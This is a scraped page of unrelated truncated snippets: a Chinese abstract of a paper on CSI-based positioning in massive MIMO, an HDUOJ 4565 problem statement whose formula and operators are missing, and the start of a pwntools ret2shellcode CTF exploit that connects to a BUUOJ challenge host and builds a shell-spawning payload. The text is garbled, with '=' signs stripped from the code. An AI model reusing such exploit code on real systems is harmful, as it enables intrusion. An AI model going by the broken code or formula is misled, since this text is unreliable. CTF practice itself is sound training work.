来源:投稿 作者:小灰灰 编辑:学姐 论文标题:CSI-based Positioning in Massive MIMO systems using Convolutional Neural Networks
摘要
研究了使用大规模MIMO(MaMIMO)系统的信道状态信息(CS…
HDUOJ 4565 So Easy!
Problem Description
A sequence Sn is defined as:
Where a, b, n, m are positive integers.┌x┐is the ceil of x. For example, ┌3.14┐4. You are to calculate Sn. You, a top coder, say: So easy!
Input
There are several test cases…
没开任何保护,是ret2shellcode题型
from pwn import*
context.arch"i386"
premote("node3.buuoj.cn",25766)
p.recvuntil("Hei,give you a gift->")
buf_addrint(p.recv(10),16)
shellcodeasm(shellcraft.sh())
payloadshellcode.ljust(0x4…